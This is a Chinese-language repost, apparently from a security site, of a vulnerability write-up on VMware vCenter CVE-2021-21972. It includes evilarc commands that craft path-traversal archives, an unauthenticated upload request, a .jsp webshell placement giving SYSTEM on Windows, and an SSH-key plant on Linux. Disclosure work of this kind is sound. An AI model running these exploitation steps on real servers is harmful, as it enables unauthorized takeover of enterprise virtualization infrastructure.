标题 | 简介 | 类型 | 公开时间 | ||||||||||
|
|||||||||||||
|
|||||||||||||
详情 | |||||||||||||
[SAFE-ID: JIWO-2025-2840] 作者: 浩丶轩 发表于: [2021-03-05]
本文共 [704] 位读者顶过
概述由于目前VMware vCenter远程代码执行(CVE-2021-21972)的PoC已经发布,因此我们将发布包含所有技术细节的文章。 在2020年秋季,我在VMware vCenter的vSphere Client组件中发现了几个漏洞。这些漏洞导致未经授权的客户端可以通过多种协议代表目标服务器执行任意命令并发送请求: · 未经授权的文件上传导致远程代码执行漏洞(CVE-2021-21972) · 未经授权的服务器端请求伪造(SSRF)漏洞(CVE-2021-21973) 在本文中,我将详细回顾我是如何发现VMware vSphere客户端远程代码执行漏洞的,同时披露技术细节,并说明如何在多个平台上实现漏洞利用。 关于VMware vCenter/vSphere: vSphere和vCenter用于企业基础架构的虚拟化,并提供一种有效的控制方式。我们有可能在公网发现该软件,但在大多数情况下,它还是位于内网之中。 发现漏洞在对vSphere Client进行分析的过程中,我习惯地采用了白盒和黑盒两种方法进行测试,重点关注未经授权即可利用的漏洞。在Web面板中,我尝试发送了尽可能多的不同请求,这些请求中不包含Cookie标头。 当我向/ui/vropspluginui/rest/services/*发送未经授权的请求时,我发现它实际上不需要经过任何身份验证。 未经授权即可访问该URL: ![]()
该Web应用程序的某些功能依赖于通常位于独立.jar文件中的插件。例如,vropspluginui插件在文件vropsplugin-service.jar中实现。 就我的理解而言,每个插件必须在Web面板中指定哪些终端需要授权才能运行、哪些终端不需要授权。该插件被配置为允许未经授权的用户访问其处理的任何URL。 其中,/ui/vropspluginui/rest/services/uploadova URL对应的uploadOvaFile函数引起了我的关注。 代码漏洞部分: ![]()
此路径的处理程序执行以下操作: 1. 接收带有uploadFile参数的POST请求; 2. 读取此参数的内容并写入inputStream变量; 3. 以.tar压缩包格式打开生成的数据; 4. 检索所有压缩的条目(非目录条目); 5. 在遍历所有条目时,使用文件命名约定/tmp/unicorn_ova_dir + entry_name在磁盘上创建当前条目的副本。 在这里,我注意到了.tar条目名称没有进行过滤。它们直接与字符串“/tmp/unicorn_ova_dir”连接,并在连接后的路径位置创建一个文件。这意味着,我们可以创建一个包含字符串“../”的压缩条目,这将允许我们将任意文件上传到服务器上的任意目录。 为了利用这个漏洞来构建.tar压缩包,我首先使用了evilarc实用程序。这是这个实用程序第二次派上用场,第一次也是在与之类似的漏洞研究过程中利用。 python evilarc.py -d 2 -p 'testFolder\' -o win -f winexpl.tar testUpload.txt 生成的压缩文件中,包含名称为“..\..\testFolder\testUpload.txt”的文件。我将其上传到URL “/ui/vropspluginui/rest/services/uploadova”中,并检查服务器的文件系统功能中国年是否存在testFolder文件夹,其嵌套文件位于C:\根目录中。 POST /ui/vropspluginui/rest/services/uploadova HTTP/1.1 Host: vSphereClient.local Connection: close Accept: application/json Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH8GoragzRFVTw1VD Content-Length: 10425 ------WebKitFormBoundaryH8GoragzRFVTw1VD Content-Disposition: form-data; name="uploadFile"; filename="a.ova" Content-Type: text/plain {craftedArchive} ------WebKitFormBoundaryH8GoragzRFVTw1VD-- 测试文件已经成功上传: ![]() 可以看到,我的.txt文件已经成功上传,现在的路径为C:\testFolder\testUpload.txt。
实现Windows RCE为了能够在目标系统上执行任意命令,我们需要上传一个.jsp Shell,这个Shell无需授权即可访问。要发现这样的位置,我们需要: 1. 找到磁盘上可以利用上述漏洞创建文件的可写路径; 2. 将找到的文件路径映射到可访问的Web根目录的文件夹结构中,使该目录能够运行.jsp脚本,并且不需要授权。 首先,我们先上传文件testUpload.txt并查看其属性菜单,以确认我们上传的文件获得了哪些特权。我们可以看到其所有者是用户“vsphere-ui”。 上传文件的属性: ![]()
在搜索目标位置时,我们发现了C:\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\(其中存在.jsp文件),这个目录看起来很有希望。 无需授权即可访问JSP脚本: ![]()
经过确认,我们在未授权的情况下可以访问该jsp脚本。接下来,我们检查一下vsphere-ui是否对该目录具有写入权限。 目标文件夹的安全相关属性: ![]()
答案是肯定的。现在,我们就可以上传特制的.jsp文件,以在系统上执行命令。 我们可以创建一个包含特制.jsp Shell Payload的压缩包,将其发送到上述所分析的URL。 python evilarc.py -d 5 -p 'ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport' -o win -f winexpl.tar testRCE.jsp 漏洞利用: ![]() 现在,我们的.jsp脚本已经上传到服务器,这就让我们有机会以NT AUTHORITY\SYSTEM特权在系统上执行任意命令。
实现Linux RCE在Linux场景中,漏洞利用方式有所不同,但Linux也非常容易遭到攻击,并允许外部用户上传任意文件。 在Linux上,我没有找到同时允许上传和执行.jsp Shell的目录。不过,还有另一种在服务器上实现命令执行的方法。 我们知道,我们可以使用vsphere-ui用户的权限上传任意文件。如果我们将公钥上传到该用户的主目录,并尝试使用私钥通过SSH连接到服务器,这样是否可行? 我们首先确认SSH是否可以从外部访问: nmap -p 22 vSphereLinux.local 发现目标端口已打开: ![]()
第一步是要生成密钥对。 ssh-keygen -t rsa 生成密钥对: ![]()
然后,使用生成的公钥,创建一个.tar压缩文件:
python evilarc.py -d 5 -p 'home/vsphere-ui/.ssh' -o unix -f linexpl.tar [出自:jiwo.org] authorized_keys 使用Evilarc生成tar压缩包: ![]()
接下来,我们利用这个漏洞上传文件,并尝试通过SSH连接到目标主机: ssh -i /path/to/id_rsa vsphere-ui@vSphereLinux.local 进入到命令行: ![]() 至此,我们就可以使用vsphere-ui用户的权限访问服务器。 |